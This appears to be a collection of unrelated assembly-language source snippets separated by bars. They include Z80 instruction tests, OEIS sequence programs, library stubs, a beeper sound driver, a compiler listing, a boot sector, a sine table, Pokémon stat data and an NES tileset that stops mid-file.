SET 0, H
SET 0, L
SET 1, (HL)
SET 1, (IX + DD)
SET 1, (IY + DD)
SET 1, A
SET 1, B
SET 1, C
SET 1, D
SET 1, E
SET 1, H
SET 1, L
SET 2, (HL)
SET 2, (IX + DD)
SET 2, (IY + DD)
SET 2, A
SET 2, B
SET 2, C
SET 2, D
SET 2, E
SET 2, H
SET 2, L
SET 3, (HL)
SET 3, (IX + DD)
SET 3, (IY + DD)
SET 3, A
SET 3, B
SET 3, C
SET 3, D
SET 3, E
SET 3, H
SET 3, L
SET 4, (HL)
SET 4, (IX + DD)
SET 4, (IY + DD)
SET 4, A
SET 4, B
SET 4, C
SET 4, D
SET 4, E
SET 4, H
SET 4, L
SET 5, (HL)
SET 5, (IX + DD)
SET 5, (IY + DD)
SET 5, A
SET 5, B
SET 5, C
SET 5, D
SET 5, E
SET 5, H
SET 5, L
SET 6, (HL)
SET 6, (IX + DD)
SET 6, (IY + DD)
SET 6, A
SET 6, B
SET 6, C
SET 6, D
SET 6, E
SET 6, H
SET 6, L
SET 7, (HL)
SET 7, (IX + DD)
SET 7, (IY + DD)
SET 7, A
SET 7, B
SET 7, C
SET 7, D
SET 7, E
SET 7, H
SET 7, L
;------------------------------------------------------------------------------
SLA (HL)
SLA (IX + DD)
SLA (IY + DD)
SLA A
SLA B
SLA C
SLA D
SLA E
SLA H
SLA L
;------------------------------------------------------------------------------
SRA (HL)
SRA (IX + DD)
SRA (IY + DD)
SRA A
SRA B
SRA C
SRA D
SRA E
SRA H
SRA L
;------------------------------------------------------------------------------
SRL (HL)
SRL (IX + DD)
SRL (IY + DD)
SRL A
SRL B
SRL C
SRL D
SRL E
SRL H
SRL L
;------------------------------------------------------------------------------
SUB (HL)
SUB (IX + DD)
SUB (IY + DD)
SUB A
SUB B
SUB C
SUB D
SUB E
SUB H
SUB L
SUB N
;------------------------------------------------------------------------------
XOR (HL)
XOR (IX + DD)
XOR (IY + DD)
XOR A
XOR B
XOR C
XOR D
XOR E
XOR H
XOR L
XOR N
;------------------------------------------------------------------------------
; HRJ test numeric constants
DB 123 ;decimal
DB 123D ;also decimal
DW 123H ;hexidecimal, now word-sized
DB 123O ;octal
DB 123Q ;also octal
DB 101B ;binary
DW $123 ;hex added HRJ
DB %101 ;binary added HRJ
DW 0x123 ;hex added HRJ
END
|
// Run at: https://peterhigginson.co.uk/AQA/
// r12 marks the pointer to the image data in memory
mov r12, #img_data
// r11 is the current position in VRAM which is being written to
mov r11, #256
// r0 signifies the row of pixels (item of image data in the img_data section) which is being drawn
mov r0, #0
loop:
mov r1, r12
add r1, r1, r0
// Get the image data of the current row, r0, storing into r2
ldr r2, [r1]
add r0, r0, #1
cmp r0, #24
bgt exit
// Begin extracting each pixel (bit)
mov r3, #31
pixels:
// Now extracting nth bit:
// Operand of bit extraction is r2
// Output register is r7
mov r7, #0
// Bit to be extracted is r3
// Bit mask for AND operation
mov r6, #1
lsl r6, r6, r3
and r7, r2, r6
lsr r7, r7, r3
cmp r7, #1
bne blank_pixel
str r7, [r11]
blank_pixel:
// Update the pixel of VRAM being drawn to to the next pixel
add r11, r11, #1
// Move onto next pixel in the row
cmp r3, #0
sub r3, r3, #1
bgt pixels
b loop
exit:
halt
img_data:
|
.data
myDouble: .double 3.1425926535
zeroDouble: .double 0.0
.text
ldc1 $f2, myDouble
ldc1 $f0, zeroDouble
# we have to define a pair, because it's double precision
li $v0, 3 # double
add.d $f12, $f2, $f0
syscall
|
; A198845: 8*6^n-1.
; 7,47,287,1727,10367,62207,373247,2239487,13436927,80621567,483729407,2902376447,17414258687,104485552127,626913312767,3761479876607,22568879259647,135413275557887,812479653347327,4874877920083967,29249267520503807
mov $1,6
pow $1,$0
mul $1,8
sub $1,1
|
;
; Fast background save
;
; Generic version (just a bit slow)
;
; $Id: bkrestore2.asm $
;
IF !__CPU_INTEL__ & !__CPU_GBZ80__
SECTION code_clib
PUBLIC bkrestore
PUBLIC _bkrestore
EXTERN putsprite
EXTERN asm_clga
.bkrestore
._bkrestore
; __FASTCALL__ !! HL = sprite address
inc hl ; skip first X xs
inc hl ; skip first Y ys
; spr_and: 166+47*256 // CPL - AND (HL)
; spr_or: 182 // OR (HL)
ld de,182 ; spr_or
push de
ld e,(hl) ; x pos
inc hl
ld a,e
;ld d,0 <- d=0 already
push de
ld e,(hl) ; Y pos
inc hl
push de
push hl ; sprite addr
ld b,(hl) ; saved X sz
inc hl
ld c,(hl) ; saved Y sz
ld h,a ; X
ld l,e ; Y
; HL = (x,y)
; BC = (width,heigth)
call asm_clga
call putsprite
pop hl
pop de
pop de
pop de
ret
ENDIF
|
; A024719: a(n) = (1/3)*(2 + Sum_{k=0..n} C(3k,k)).
; 1,2,7,35,200,1201,7389,46149,291306,1853581,11868586,76380826,493606726,3201081874,20821158234,135776966762,887393271311,5811082966886,38119865826421,250447855600321,1647729357535486,10854207824989831,71581930485576631
mov $21,$0
mov $23,$0
add $23,1
lpb $23,1
clr $0,21
mov $0,$21
trn $23,1
sub $0,$23
mov $18,$0
mov $20,$0
add $20,1
lpb $20,1
mov $0,$18
trn $20,1
sub $0,$20
mov $14,$0
mov $16,2
lpb $16,1
sub $16,1
add $0,$16
sub $0,1
mov $2,$0
mul $2,3
bin $2,$0
mov $3,3
mov $5,5
mov $6,$0
lpb $5,1
add $2,$3
cmp $5,$0
mul $6,3
lpb $3,4
lpb $6,1
mov $5,$6
mul $5,4
trn $4,$5
mov $6,1
lpe
lpe
add $4,2
lpe
mov $1,$2
mov $17,$16
lpb $17,1
mov $15,$1
sub $17,1
lpe
lpe
lpb $14,1
mov $14,0
sub $15,$1
lpe
mov $1,$15
div $1,3
add $19,$1
lpe
add $22,$19
lpe
mov $1,$22
|
/*
This file is part of:
NoahFrame
https://github.com/ketoo/NoahGameFrame
Copyright 2009 - 2018 NoahFrame(NoahGameFrame)
File creator: lvsheng.huang
NoahFrame is open-source software and you can redistribute it and/or modify
it under the terms of the License; besides, anyone who use this file/software must include this copyright announcement.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include "NFComm/NFPluginModule/NFPlatform.h"
#ifdef NF_DEBUG_MODE
#if NF_PLATFORM == NF_PLATFORM_WIN
#pragma comment( lib, "ws2_32" )
#pragma comment( lib, "NFCore_d.lib" )
#pragma comment( lib, "NFMessageDefine_d.lib" )
#pragma comment( lib, "libprotobuf_d.lib" )
#elif NF_PLATFORM == NF_PLATFORM_LINUX || NF_PLATFORM == NF_PLATFORM_ANDROID
#pragma comment( lib, "NFCore_d.a" )
#pragma comment( lib, "NFMessageDefine_d.a" )
#elif NF_PLATFORM == NF_PLATFORM_APPLE || NF_PLATFORM == NF_PLATFORM_APPLE_IOS
#endif
#else
#if NF_PLATFORM == NF_PLATFORM_WIN
#pragma comment( lib, "ws2_32" )
#pragma comment( lib, "NFCore.lib" )
#pragma comment( lib, "NFMessageDefine.lib" )
#pragma comment( lib, "libprotobuf.lib" )
#elif NF_PLATFORM == NF_PLATFORM_LINUX || NF_PLATFORM == NF_PLATFORM_ANDROID
#pragma comment( lib, "NFCore.a" )
#pragma comment( lib, "NFMessageDefine.a" )
#elif NF_PLATFORM == NF_PLATFORM_APPLE || NF_PLATFORM == NF_PLATFORM_APPLE_IOS
#endif
#endif
|
;======================================================================
;
; BIT MODE SOUND DRIVER FOR SBC V2 USING BIT 0 OF RTC DRIVER
;
;======================================================================
;
; LIMITATIONS - CPU FREQUENCY ADJUSTMENT LIMITED TO 1MHZ RESOLUTION
; QUARTER TONES NOT SUPPORTED
; DURATION FIXED TO 1 SECOND.
; NO VOLUME ADJUSTMENT DUE TO HARDWARE LIMITATION
;======================================================================
;
; DRIVER FUNCTION TABLE AND INSTANCE DATA
;
SP_FNTBL:
.DW SP_STUB ; SP_RESET
.DW SP_STUB ; SP_VOLUME
.DW SP_PERIOD
.DW SP_NOTE
.DW SP_PLAY
.DW SP_QUERY
.DW SP_DURATION
.DW SP_DEVICE
;
#IF (($ - SP_FNTBL) != (SND_FNCNT * 2))
.ECHO "*** INVALID SND FUNCTION TABLE ***\n"
!!!!!
#ENDIF
;
SP_IDAT .EQU 0 ; NO INSTANCE DATA ASSOCIATED WITH THIS DEVICE
;
SP_TONECNT .EQU 1 ; COUNT NUMBER OF TONE CHANNELS
SP_NOISECNT .EQU 0 ; COUNT NUMBER OF NOISE CHANNELS
;
SP_RTCIOMSK .EQU 00000100B
;
; FOR OTHER DRIVERS, THE PERIOD VALUE FOR THE TONE IS STORED AT PENDING_PERIOD
; FOR THE SPK DRIVER THE ADDRESS IN THE TONE TABLE IS STORED IN PENDING_PERIOD
;
SP_PENDING_PERIOD .DW SP_NOTE_C8 ; PENDING PERIOD (16 BITS)
SP_PENDING_VOLUME .DB $FF ; PENDING VOL (8 BITS)
SP_PENDING_DURATION .DW 0 ; PENDING DURATION (16 BITS)
;
;======================================================================
; DRIVER INITIALIZATION
;======================================================================
;
SP_INIT:
LD IY, SP_IDAT ; SETUP FUNCTION TABLE
LD BC, SP_FNTBL ; POINTER TO INSTANCE DATA
LD DE, SP_IDAT ; BC := FUNCTION TABLE ADDRESS
CALL SND_ADDENT ; DE := INSTANCE DATA PTR
;
CALL NEWLINE ; ANNOUNCE DEVICE
PRTS("SPK: IO=0x$")
LD A,RTCIO
CALL PRTHEXBYTE
CALL SP_SETTBL ; SETUP TONE TABLE
CALL SP_PLAY ; PLAY DEFAULT NOTE
XOR A
RET
;
;======================================================================
; SOUND DRIVER FUNCTION - RESET
;======================================================================
;
;SP_RESET:
; XOR A ; SUCCESSFULL RESET
; RET
;
;======================================================================
; SOUND DRIVER FUNCTION - VOLUME
;======================================================================
;
;SP_VOLUME:
; XOR A ; SIGNAL SUCCESS
; RET
;
;======================================================================
; SOUND DRIVER FUNCTION - PERIOD
;======================================================================
;
SP_PERIOD:
LD (SP_PENDING_PERIOD), HL ; SAVE AND RETURN SUCCESSFUL
SP_STUB:
XOR A
RET
;
;======================================================================
; SOUND DRIVER FUNCTION - NOTE
;======================================================================
;
SP_NOTE:
; CALL PRTHEXWORDHL
; CALL PC_COLON
PUSH HL
PUSH DE ; ON ENTRY HL IS A NOTE INDEX
LD A,L ; CONVERT THIS NOTE INDEX
AND 00000011B ; TO THE ASSOCIATED ENTRY
JR Z,SP_NOTE1 ; IN THE TUNE TABLE.
;
LD HL,$FFFF ; QUARTER NOTES
JR SP_NOTE2 ; NOT SUPPORTED
;
SP_NOTE1:
LD DE,SP_TUNTBL ; SAVE THIS ADDRESS AS
ADD HL,DE ; THE PERIOD
SP_NOTE2:
; CALL PRTHEXWORDHL
; CALL NEWLINE
LD (SP_PENDING_PERIOD),HL
POP DE
POP HL
RET
;
;======================================================================
; SOUND DRIVER FUNCTION - QUERY AND SUBFUNCTIONS
;======================================================================
;
SP_QUERY:
LD A, E
CP BF_SNDQ_CHCNT ; SUB FUNCTION 01
JR Z, SP_QUERY_CHCNT
;
CP BF_SNDQ_VOLUME ; SUB FUNCTION 02
JR Z, SP_QUERY_VOLUME
;
CP BF_SNDQ_PERIOD ; SUB FUNCTION 03
JR Z, SP_QUERY_PERIOD
;
CP BF_SNDQ_DEV ; SUB FUNCTION 04
JR Z, SP_QUERY_DEV
;
OR $FF ; SIGNAL FAILURE
RET
;
SP_QUERY_CHCNT:
LD BC,(SP_TONECNT*256)+SP_NOISECNT ; RETURN NUMBER OF
XOR A ; TONE AND NOISE
RET ; CHANNELS IN BC
;
SP_QUERY_PERIOD:
LD HL, (SP_PENDING_PERIOD) ; RETURN 16-BIT PERIOD
XOR A ; IN HL REGISTER
RET
;
SP_QUERY_VOLUME:
LD L, 255 ; RETURN 8-BIT VOLUME
XOR A ; IN L REGISTER
RET
;
SP_QUERY_DEV:
LD B, SNDDEV_BITMODE ; RETURN DEVICE IDENTIFIER
LD DE, (RTCIO*256)+SP_RTCIOMSK ; AND ADDRESS AND DATA PORT
XOR A
RET
;
;======================================================================
; INITIALIZE THE TONE TABLE - ONLY ACCURATE FOR 1MHZ INCREMENTS
;======================================================================
;
SP_SETTBL:
LD BC,(CB_CPUMHZ) ; GET MHZ CPU SPEED (IN C).
;
SP_SETTBL3:
LD B,SP_NOTCNT ; SET NUMBER OF NOTES TO
LD HL,SP_TUNTBL+2 ; ADJUST AND START POINT
;
SP_SETTBL2:
PUSH HL
LD E,(HL) ; READ IN
INC HL ; THE 1MHZ
LD D,(HL) ; NOTE
;
PUSH BC
LD B,C
LD HL,0 ; MULTIPLY 1MHZ
SP_SETTBL1: ; NOTE VALUE BY
ADD HL,DE ; SYSTEM MHZ
JR NC,SP_SETBL4
LD HL,$FFFF ; FOR CPU > 10MHz
LD B,1 ; HANDLE OVERFLOW
SP_SETBL4:
DJNZ SP_SETTBL1
POP BC
;
LD DE,15 ; ADD OVERHEAD
ADD HL,DE ; COMPENSATION
;
POP DE ; RECALL NOTE
EX DE,HL ; ADDRESS
;
LD (HL),E ; SAVE
INC HL ; THE
LD (HL),D ; NEW
INC HL ; NOTE
INC HL ; AND MOVE
INC HL ; TO NEXT
;
DJNZ SP_SETTBL2 ; NEXT NOTE
RET
;
;======================================================================
; SOUND DRIVER FUNCTION - PLAY
;======================================================================
;
SP_PLAY:
LD HL,(SP_PENDING_PERIOD) ; SELECT NOTE
;
LD A,$FF ; EXIT WITH ERROR
CP H ; STATUS IF INVALID
JR NZ,SP_PLAY1 ; PERIOD ($FFFF)
CP L
RET Z
SP_PLAY1:
LD E,(HL) ; LOAD 1ST ARG
INC HL ; IN DE
LD D,(HL)
INC HL
;
LD C,(HL) ; LOAD 2ND ARG
INC HL ; IN BC
LD B,(HL)
INC HL
;
; LD A,$FF ; EXIT WITH ERROR
CP B ; STATUS IF INVALID
JR NZ,SP_PLAY2 ; NOTE ($FFFF)
CP C
RET Z
;
SP_PLAY2:
PUSH BC ; SETUP ARG IN HL
POP HL
;
; CALL SP_BEEPER ; PLAY
;
; RET
;
; The following SP_BEEPER routine is a modification of code from
; "The Complete SPECTRUM ROM DISSASSEMBLY" by Dr Ian Logan & Dr Frank O’Hara
;
; https://www.esocop.org/docs/CompleteSpectrumROMDisassemblyThe.pdf
;
; DE Number of passes to make through the sound generation loop
; HL Loop delay parameter
;
SP_BEEPER:
PUSH IX
HB_DI ; Disable the interrupt for the duration of a 'beep'.
LD A,L ; Save L temporarily.
SRL L ; Each '1' in the L register is to count 4 T states, but take INT (L/4) and count 16 T states instead.
SRL L
CPL ; Go back to the original value in L and find how many were lost by taking 3-(A mod 4).
AND $03
LD C,A
LD B,$00
LD IX,SPK_DLYADJ ; The base address of the timing loop.
ADD IX,BC ; Alter the length of the timing loop. Use an earlier starting point for each '1' lost by taking INT (L/4).
LD A,(HB_RTCVAL) ; Fetch the present border colour from BORDCR and move it to bits 2, 1 and 0 of the A register.
;
; The HL register holds the 'length of the timing loop' with 16 T states being used for each '1' in the L register and 1024 T states for each '1' in the H register.
;
SPK_DLYADJ:
NOP ; Add 4 T states for each earlier entry point that is used.
NOP
NOP
INC B ; The values in the B and C registers will come from the H and L registers - see below.
INC C
BE_H_L_LP:
DEC C ; The 'timing loop', i.e. BC*4 T states. (But note that at the half-cycle point, C will be equal to L+1.)
JR NZ,BE_H_L_LP
LD C,$3F
DEC B
JP NZ,BE_H_L_LP
;
; The loudspeaker is now alternately activated and deactivated.
;
XOR SP_RTCIOMSK ; Flip bit 2.
OUT (RTCIO),A ; Perform the 'OUT' operation, leaving other bits unchanged.
LD B,H ; Reset the B register.
LD C,A ; Save the A register.
BIT 4,A ; Jump if at the half-cycle point.
JR NZ,BE_AGAIN
;
; After a full cycle the DE register pair is tested.
;
LD A,D ; Jump forward if the last complete pass has been made already.
OR E
JR Z,BE_END
LD A,C ; Fetch the saved value.
LD C,L ; Reset the C register.
DEC DE ; Decrease the pass counter.
JP (IX) ; Jump back to the required starting location of the loop.
;
; The parameters for the second half-cycle are set up.
;
BE_AGAIN:
LD C,L ; Reset the C register.
INC C ; Add 16 T states as this path is shorter.
JP (IX) ; Jump back.
BE_END:
HB_EI
POP IX
RET ; ALWAYS EXITS WITH SUCCESS STATUS (A=0)
;
;======================================================================
; SOUND DRIVER FUNCTION - DURATION
;======================================================================
;
SP_DURATION:
LD (SP_PENDING_DURATION),HL; SET TONE PERIOD TO ZERO
XOR A
RET
;
;======================================================================
; SOUND DRIVER FUNCTION - DEVICE
;======================================================================
;
SP_DEVICE:
LD D,SNDDEV_BITMODE ; D := DEVICE TYPE
LD E,0 ; E := PHYSICAL UNIT
LD C,$00 ; C := DEVICE TYPE
LD H,0 ; H := 0, DRIVER HAS NO MODES
LD L,RTCIO ; L := BASE I/O ADDRESS
XOR A
RET
;
;======================================================================
;
; STANDARD ONE SECOND TONE TABLES AT 1MHZ.
; FOR SP_BEEPER ROUTINE, FIRST WORD LOADED INTO DE, SECOND INTO HL
;
;======================================================================
;
#DEFINE SP_TONESET(SP_FREQ) .DW SP_FREQ/100, 12500000/SP_FREQ
;
SP_TUNTBL:
SP_TONESET(1635) ; C0
SP_TONESET(1732) ; C
SP_TONESET(1835) ; D0
SP_TONESET(1945) ; D
SP_TONESET(2060) ; E0
SP_TONESET(2183) ; F0
SP_TONESET(2312) ; F
SP_TONESET(2450) ; G0
SP_TONESET(2596) ; G
SP_TONESET(2750) ; A0
SP_TONESET(2914) ; A
SP_TONESET(3087) ; B0
SP_TONESET(3270) ; C1
SP_TONESET(3465) ; C
SP_TONESET(3671) ; D1
SP_TONESET(3889) ; D
SP_TONESET(4120) ; E1
SP_TONESET(4365) ; F1
SP_TONESET(4625) ; F
SP_TONESET(4900) ; G1
SP_TONESET(5191) ; G
SP_TONESET(5500) ; A1
SP_TONESET(5827) ; A
SP_TONESET(6174) ; B1
SP_TONESET(6541) ; C2
SP_TONESET(6930) ; C
SP_TONESET(7342) ; D2
SP_TONESET(7778) ; D
SP_TONESET(8241) ; E2
SP_TONESET(8731) ; F2
SP_TONESET(9250) ; F
SP_TONESET(9800) ; G2
SP_TONESET(10383) ; G
SP_TONESET(11000) ; A2
SP_TONESET(11654) ; A
SP_TONESET(12347) ; B2
SP_TONESET(13081) ; C3
SP_TONESET(13859) ; C
SP_TONESET(14683) ; D3
SP_TONESET(15556) ; D
SP_TONESET(16481) ; E3
SP_TONESET(17461) ; F3
SP_TONESET(18500) ; F
SP_TONESET(19600) ; G3
SP_TONESET(20765) ; G
SP_TONESET(22000) ; A3
SP_TONESET(23308) ; A
SP_TONESET(24694) ; B3
SP_TONESET(26163) ; C4
SP_TONESET(27718) ; C
SP_TONESET(29366) ; D4
SP_TONESET(31113) ; D
SP_TONESET(32963) ; E4
SP_TONESET(34923) ; F4
SP_TONESET(36999) ; F
SP_TONESET(39200) ; G4
SP_TONESET(41530) ; G
SP_TONESET(44000) ; A4
SP_TONESET(46616) ; A
SP_TONESET(49388) ; B4
SP_TONESET(52325) ; C5
SP_TONESET(55437) ; C
SP_TONESET(58733) ; D5
SP_TONESET(62225) ; D
SP_TONESET(65925) ; E5
SP_TONESET(69846) ; F5
SP_TONESET(73999) ; F
SP_TONESET(78399) ; G5
SP_TONESET(83061) ; G
SP_TONESET(88000) ; A5
SP_TONESET(93233) ; A
SP_TONESET(98777) ; B5
SP_TONESET(104650) ; C6
SP_TONESET(110873) ; C
SP_TONESET(117466) ; D6
SP_TONESET(124451) ; D
SP_TONESET(131851) ; E6
SP_TONESET(139691) ; F6
SP_TONESET(147998) ; F
SP_TONESET(156798) ; G6
SP_TONESET(166122) ; G
SP_TONESET(179000) ; A6
SP_TONESET(186466) ; A
SP_TONESET(197553) ; B6
SP_TONESET(209300) ; C7
SP_TONESET(221746) ; C
SP_TONESET(234932) ; D7
SP_TONESET(248902) ; D
SP_TONESET(263702) ; E7
SP_TONESET(279383) ; F7
SP_TONESET(295996) ; F
SP_TONESET(313596) ; G7
SP_TONESET(332244) ; G
SP_TONESET(352000) ; A7
SP_TONESET(372931) ; A
SP_TONESET(395107) ; B7
SP_NOTE_C8:
SP_TONESET(418601) ; C8
SP_TONESET(443492) ; C
SP_TONESET(469863) ; D8
SP_TONESET(497803) ; D
SP_TONESET(527404) ; E8
SP_TONESET(558765) ; F8
SP_TONESET(591991) ; F
SP_TONESET(627193) ; G8
SP_TONESET(664488) ; G
SP_TONESET(704000) ; A8
SP_TONESET(745862) ; A
SP_TONESET(790213) ; B8
;
SP_NOTCNT .EQU ($-SP_TUNTBL) / 4
;
|
; int vsprintf(char *s, const char *format, void *arg)
SECTION code_clib
SECTION code_stdio
PUBLIC _vsprintf
EXTERN asm_vsprintf
_vsprintf:
pop af
exx
pop de
exx
pop de
pop bc
push bc
push de
push de
push af
jp asm_vsprintf
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.24.28117.0
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
CONST SEGMENT
$SG5092 DB '0000000000000000', 0aH, 00H
ORG $+6
$SG5094 DB '1111111111111111', 0aH, 00H
ORG $+6
$SG5095 DB '2222222222222222', 0aH, 00H
CONST ENDS
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC main
PUBLIC ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
EXTRN __acrt_iob_func:PROC
EXTRN __stdio_common_vfprintf:PROC
; COMDAT ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA
_BSS SEGMENT
?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA DQ 01H DUP (?) ; `__local_stdio_printf_options'::`2'::_OptionsStorage
_BSS ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$_vfprintf_l DD imagerel $LN3
DD imagerel $LN3+67
DD imagerel $unwind$_vfprintf_l
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$printf DD imagerel $LN3
DD imagerel $LN3+87
DD imagerel $unwind$printf
pdata ENDS
pdata SEGMENT
$pdata$main DD imagerel $LN4
DD imagerel $LN4+51
DD imagerel $unwind$main
pdata ENDS
xdata SEGMENT
$unwind$main DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$printf DD 011801H
DD 06218H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$_vfprintf_l DD 011801H
DD 06218H
xdata ENDS
; Function compile flags: /Odtp
_TEXT SEGMENT
main PROC
; File C:\Users\libit\source\repos\L018\L018\L018.cpp
; Line 7
$LN4:
sub rsp, 40 ; 00000028H
; Line 8
lea rcx, OFFSET FLAT:$SG5092
call printf
; Line 9
jmp SHORT $LN2@main
jmp SHORT $exit$5
; Line 10
lea rcx, OFFSET FLAT:$SG5094
call printf
$LN2@main:
$exit$5:
; Line 12
lea rcx, OFFSET FLAT:$SG5095
call printf
; Line 13
xor eax, eax
add rsp, 40 ; 00000028H
ret 0
main ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT printf
_TEXT SEGMENT
_Result$ = 32
_ArgList$ = 40
_Format$ = 64
printf PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 954
$LN3:
mov QWORD PTR [rsp+8], rcx
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+32], r9
sub rsp, 56 ; 00000038H
; Line 957
lea rax, QWORD PTR _Format$[rsp+8]
mov QWORD PTR _ArgList$[rsp], rax
; Line 958
mov ecx, 1
call __acrt_iob_func
mov r9, QWORD PTR _ArgList$[rsp]
xor r8d, r8d
mov rdx, QWORD PTR _Format$[rsp]
mov rcx, rax
call _vfprintf_l
mov DWORD PTR _Result$[rsp], eax
; Line 959
mov QWORD PTR _ArgList$[rsp], 0
; Line 960
mov eax, DWORD PTR _Result$[rsp]
; Line 961
add rsp, 56 ; 00000038H
ret 0
printf ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT _vfprintf_l
_TEXT SEGMENT
_Stream$ = 64
_Format$ = 72
_Locale$ = 80
_ArgList$ = 88
_vfprintf_l PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\stdio.h
; Line 642
$LN3:
mov QWORD PTR [rsp+32], r9
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; Line 643
call __local_stdio_printf_options
mov rcx, QWORD PTR _ArgList$[rsp]
mov QWORD PTR [rsp+32], rcx
mov r9, QWORD PTR _Locale$[rsp]
mov r8, QWORD PTR _Format$[rsp]
mov rdx, QWORD PTR _Stream$[rsp]
mov rcx, QWORD PTR [rax]
call __stdio_common_vfprintf
; Line 644
add rsp, 56 ; 00000038H
ret 0
_vfprintf_l ENDP
_TEXT ENDS
; Function compile flags: /Odtp
; COMDAT __local_stdio_printf_options
_TEXT SEGMENT
__local_stdio_printf_options PROC ; COMDAT
; File C:\Program Files (x86)\Windows Kits\10\include\10.0.17763.0\ucrt\corecrt_stdio_config.h
; Line 88
lea rax, OFFSET FLAT:?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA ; `__local_stdio_printf_options'::`2'::_OptionsStorage
; Line 89
ret 0
__local_stdio_printf_options ENDP
_TEXT ENDS
END
|
; nasm -felf64 strcopy.asm && ld strcopy.o && ./a.out
global _start
section .text
_start:
; strcopy
;
mov rdi, buffer
mov rsi, message
xor rdx, rdx ; store size in RDX
copy_loop:
mov cl, [rsi]
cmp cl, 0
je copy_done
mov [rdi], cl
inc rsi
inc rdi
inc rdx
jmp copy_loop
copy_done:
mov rax, 1 ; system call for write
mov rdi, 1 ; file handle 1 is stdout
mov rsi, buffer ; address of string to output
; number of bytes in RDX
syscall ; invoke operating system to do the write
mov rax, 60 ; system call for exit
xor rdi, rdi ; exit code 0
syscall ; invoke operating system to exit
section .data
message: db "hello", 10, 0
buffer: resb 64 ; reserve 64 bytes
|
; double hypot(double x, double y)
SECTION code_fp_math48
PUBLIC cm48_sccz80_hypot
EXTERN am48_hypot, cm48_sccz80p_dparam2
cm48_sccz80_hypot:
call cm48_sccz80p_dparam2
; AC'= y
; AC = x
jp am48_hypot
|
[org 0x7c00]
mov bx, HELLO
call print
call print_nl
mov bx, GOODBYE
call print
call print_nl
mov dx, 0x12fe
call print_hex
jmp $
%include "boot_sect5_print.asm"
%include "boot_sect5_hex.asm"
HELLO:
db 'Hello, World!', 0
GOODBYE:
db 'Goodbye',0
times 510-($-$$) db 0
dw 0xaa55
|
db 0, 3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45
db 48, 51, 54, 57, 59, 62, 65, 67, 70, 73, 75, 78, 80, 82, 85, 87
db 89, 91, 94, 96, 98, 100, 102, 103, 105, 107, 108, 110, 112, 113, 114, 116
db 117, 118, 119, 120, 121, 122, 123, 123, 124, 125, 125, 126, 126, 126, 126, 126
db 127, 126, 126, 126, 126, 126, 125, 125, 124, 123, 123, 122, 121, 120, 119, 118
db 117, 116, 114, 113, 112, 110, 108, 107, 105, 103, 102, 100, 98, 96, 94, 91
db 89, 87, 85, 82, 80, 78, 75, 73, 70, 67, 65, 62, 59, 57, 54, 51
db 48, 45, 42, 39, 36, 33, 30, 27, 24, 21, 18, 15, 12, 9, 6, 3
db 0, 253, 250, 247, 244, 241, 238, 235, 232, 229, 226, 223, 220, 217, 214, 211
db 208, 205, 202, 199, 197, 194, 191, 189, 186, 183, 181, 178, 176, 174, 171, 169
db 167, 165, 162, 160, 158, 156, 154, 153, 151, 149, 148, 146, 144, 143, 142, 140
db 139, 138, 137, 136, 135, 134, 133, 133, 132, 131, 131, 130, 130, 130, 130, 130
db 129, 130, 130, 130, 130, 130, 131, 131, 132, 133, 133, 134, 135, 136, 137, 138
db 139, 140, 142, 143, 144, 146, 148, 149, 151, 153, 154, 156, 158, 160, 162, 165
db 167, 169, 171, 174, 176, 178, 181, 183, 186, 189, 191, 194, 197, 199, 202, 205
db 208, 211, 214, 217, 220, 223, 226, 229, 232, 235, 238, 241, 244, 247, 250, 253
|
db DEX_CUBONE ; pokedex id
db 50 ; base hp
db 50 ; base attack
db 95 ; base defense
db 35 ; base speed
db 40 ; base special
db GROUND ; species type 1
db GROUND ; species type 2
db 190 ; catch rate
db 87 ; base exp yield
INCBIN "pic/ymon/cubone.pic",0,1 ; 55, sprite dimensions
dw CubonePicFront
dw CubonePicBack
; attacks known at lvl 0
db GROWL
db 0
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 1,5,6,8
tmlearn 9,10,11,12,13,14
tmlearn 17,18,19,20
tmlearn 26,27,28,31,32
tmlearn 34,38,40
tmlearn 44
tmlearn 50,54
db BANK(CubonePicFront)
|
TILESET_GREEN_GRASS_BANK_NUMBER = CURRENT_BANK_NUMBER
tileset_green_grass:
; Tileset's size in tiles (zero means 256)
.byt (tileset_green_grass_end-tileset_green_grass_tiles)/16
tileset_green_grass_tiles:
; Full backdrop color
;
; 00000000
; 00000000
; 00000000
; 00000000
; 00000000
; 00000000
; 00000000
; 00000000
.byt $00, $00, $00, $00, $00, $00, $00, $00
.byt $00, $00, $00, $00, $00, $00, $00, $00
; Solid 1
;
; 11111111
; 11111111
; 11111111
; 11111111
; 11111111
; 11111111
; 11111111
; 11111111
.byt $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff
.byt $00, $00, $00, $00, $00, $00, $00, $00
; Solid 2
